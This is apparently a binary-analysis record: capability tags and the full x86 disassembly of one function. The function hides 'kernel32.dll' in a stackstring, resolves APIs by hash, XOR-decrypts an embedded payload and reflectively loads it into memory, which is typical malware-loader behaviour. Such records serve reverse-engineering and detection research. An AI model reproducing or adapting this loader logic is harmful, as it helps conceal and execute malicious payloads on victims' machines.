Function at 0x8e553e
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xd4
push ebx
push ebp
push esi
push edi
push 0x6e
pop edx
push 0x64
pop ebx
push 0x6b
pop eax
push 0x65
pop ecx
push 0x72
mov word [esp + 0x58], ax
pop eax
push 0x6c
mov word [esp + 0x5a], cx
mov word [esp + 0x60], cx
pop ecx
push 0x33
mov word [esp + 0x5c], ax
pop eax
push 0x32
mov word [esp + 0x64], ax
pop eax
mov word [esp + 0x62], ax
push 0x2e
pop eax
mov word [esp + 0x64], ax
xor eax, eax
mov word [esp + 0x5e], cx
mov word [esp + 0x68], cx
mov word [esp + 0x6a], cx
mov ecx, 0x3d090c
mov dword [esp + 0x20], 0x364e6773
mov dword [esp + 0x24], 0x37314574
mov word [esp + 0x28], 0x4d35
mov byte [esp + 0x2a], 0x62
mov byte [esp + 0x2b], dl
mov dword [esp + 0x2c], 0x516d4551
mov word [esp + 0x30], 0x3139
mov byte [esp + 0x32], 0x7a
mov byte [esp + 0x33], bl
mov dword [esp + 0x34], 0x533f7648
mov word [esp + 0x38], 0x2130
mov byte [esp + 0x3a], 0
mov word [esp + 0x5a], dx
mov word [esp + 0x66], bx
mov word [esp + 0x6c], ax
xor eax, eax
mov byte [esp + eax + 0x78], al
inc eax
cmp eax, 0x6a
jb 0x8e55f9
dec ecx
jne 0x8e55f7
cmp byte [esp + 0xa8], 0x30
jne 0x8e561d
lea ecx, [esp + 0x54]
call fcn.008e59fd
mov esi, eax
jmp 0x8e5621
mov esi, dword [esp + 0x50]
mov edx, 0xe3142
mov ecx, esi
call fcn.008e5a30
mov edx, 0xd5786
mov ecx, esi
mov ebx, eax
call fcn.008e5a30
mov edx, 0x348bfa
mov dword [esp + 0x74], eax
mov ecx, esi
call fcn.008e5a30
push 4
push 0x3000
push 0x4aa00
push 0
mov dword [esp + 0x60], eax
call ebx
movsx esi, byte [esp + 0x78]
mov ebp, eax
mov eax, esi
mov dword [esp + 0x4c], ebp
cdq
mov ecx, 0xdf
idiv ecx
movsx ecx, byte [esp + 0x9b]
xor edi, edi
imul eax, ecx
push 5
pop ecx
imul eax, eax, 0xe
mov dword [esp + 0x14], eax
imul eax, esi, 0x156
imul esi, esi, 0xd7c
cdq
idiv ecx
cdq
idiv ecx
cdq
idiv ecx
cdq
idiv ecx
cdq
idiv ecx
cdq
idiv ecx
mov ecx, 0x156
cdq
idiv ecx
mov ecx, dword [esp + 0x14]
add eax, ebp
add esi, eax
xor edx, edx
mov dword [esp + 0x14], 0x1b
mov eax, edi
div dword [esp + 0x14]
sub edx, ecx
mov al, byte [esp + edx + 0x20]
xor al, byte [edi + 0x7a7b7e]
mov byte [esi + edi], al
inc edi
cmp edi, 0x4aa00
jb 0x8e56b9
mov ecx, ebp
call fcn.008e5924
movsx ecx, byte [esp + 0x80]
shl ecx, 3
push ecx
push 0x3000
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x8e5917
mov edi, dword [ebp + 0x3c]
mov edx, ebp
add edi, ebp
mov ecx, esi
mov dword [esp + 0x14], edi
sub eax, dword [edi + 0x34]
push dword [edi + 0x54]
movzx ebx, word [edi + 0x14]
mov dword [esp + 0x44], eax
mov dword [edi + 0x34], esi
call fcn.008e593c
mov eax, dword [edi + 0xa4]
and dword [esp + 0x20], 0
mov edx, dword [edi + 0xa0]
mov dword [esp + 0x1c], eax
mov eax, dword [edi + 0x80]
mov dword [esp + 0x74], eax
mov eax, dword [edi + 0x84]
mov dword [esp + 0x4c], eax
xor eax, eax
and dword [esp + 0x14], eax
pop ecx
mov dword [esp + 0x3c], edx
mov dword [esp + 0x44], eax
cmp ax, word [edi + 6]
jae 0x8e5917
add ebx, 0x24
add ebx, edi
mov ecx, dword [ebx]
cmp edx, ecx
jb 0x8e5788
mov eax, dword [ebx - 4]
add eax, ecx
cmp edx, eax
jae 0x8e5788
lea eax, [ebx - 0xc]
mov dword [esp + 0x1c], eax
mov edx, dword [esp + 0x70]
cmp edx, ecx
jb 0x8e57a0
mov eax, dword [ebx - 4]
add eax, ecx
cmp edx, eax
jae 0x8e57a0
lea eax, [ebx - 0xc]
mov dword [esp + 0x44], eax
mov edx, dword [ebx + 8]
add ecx, esi
push dword [ebx + 4]
add edx, ebp
call fcn.008e593c
mov edx, dword [esp + 0x14]
add ebx, 0x28
movzx eax, word [edi + 6]
inc edx
mov dword [esp + 0x14], edx
cmp edx, eax
mov edx, dword [esp + 0x40]
pop ecx
jl 0x8e5772
mov eax, dword [esp + 0x44]
test eax, eax
je 0x8e5917
mov eax, dword [esp + 0x18]
xor ebp, ebp
test eax, eax
je 0x8e586b
mov edi, dword [esp + 0x4c]
mov ebx, dword [esp + 0x1c]
lea edx, [edi + ebp]
add ebp, 8
add edx, dword [ebx + 0x14]
mov dword [esp + 0x3c], edx
mov ecx, dword [edx + 4]
sub ecx, 8
shr ecx, 1
mov dword [esp + 0x44], ecx
je 0x8e5863
lea eax, [edi + ebp]
add ebp, 2
add eax, dword [ebx + 0x14]
movzx ebx, word [eax]
test ebx, 0xf000
je 0x8e5854
and dword [esp + 0x10], 0
lea ecx, [esp + 0x10]
and ebx, 0xfff
add ebx, esi
add ebx, dword [edx]
push 4
mov edx, ebx
call fcn.008e593c
mov eax, dword [esp + 0x44]
lea edx, [esp + 0x14]
add dword [esp + 0x14], eax
mov ecx, ebx
push 4
call fcn.008e593c
mov edx, dword [esp + 0x44]
pop ecx
pop ecx
mov ecx, dword [esp + 0x44]
mov ebx, dword [esp + 0x1c]
dec ecx
mov dword [esp + 0x44], ecx
jne 0x8e5805
mov eax, dword [esp + 0x18]
cmp ebp, eax
jb 0x8e57ea
mov edi, dword [esp + 0x14]
mov ebp, dword [edi + 0x80]
add ebp, esi
je 0x8e5917
add ebp, 0xc
jmp 0x8e58cd
mov eax, dword [ebp]
add eax, esi
push eax
call dword [esp + 0x78]
mov dword [esp + 0x40], eax
test eax, eax
je 0x8e5917
mov ebx, dword [ebp + 4]
add ebx, esi
cmp dword [ebx], 0
je 0x8e58ca
mov ebp, dword [esp + 0x50]
mov edi, eax
mov eax, dword [ebx]
test eax, eax
jns 0x8e58af
movzx eax, ax
jmp 0x8e58b4
add eax, 2
add eax, esi
push eax
push edi
call ebp
mov dword [ebx], eax
add ebx, 4
cmp dword [ebx], 0
jne 0x8e58a4
mov edi, dword [esp + 0x14]
mov ebp, dword [esp + 0x18]
add ebp, 0x14
cmp dword [ebp], 0
mov dword [esp + 0x18], ebp
jne 0x8e587e
mov ebx, dword [esp + 0x4c]
mov ecx, ebx
call fcn.008e592c
test eax, eax
je 0x8e5903
mov eax, dword [edi + 0xc0]
mov ebp, dword [eax + esi + 0xc]
jmp 0x8e58fc
push 0
push 1
push ebx
call eax
lea ebp, [ebp + 4]
mov eax, dword [ebp]
test eax, eax
jne 0x8e58f2
mov eax, dword [edi + 0x28]
push 0
push 1
add eax, esi
push esi
call eax
neg eax
sbb eax, eax
and eax, esi
jmp 0x8e5919
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xd4
ret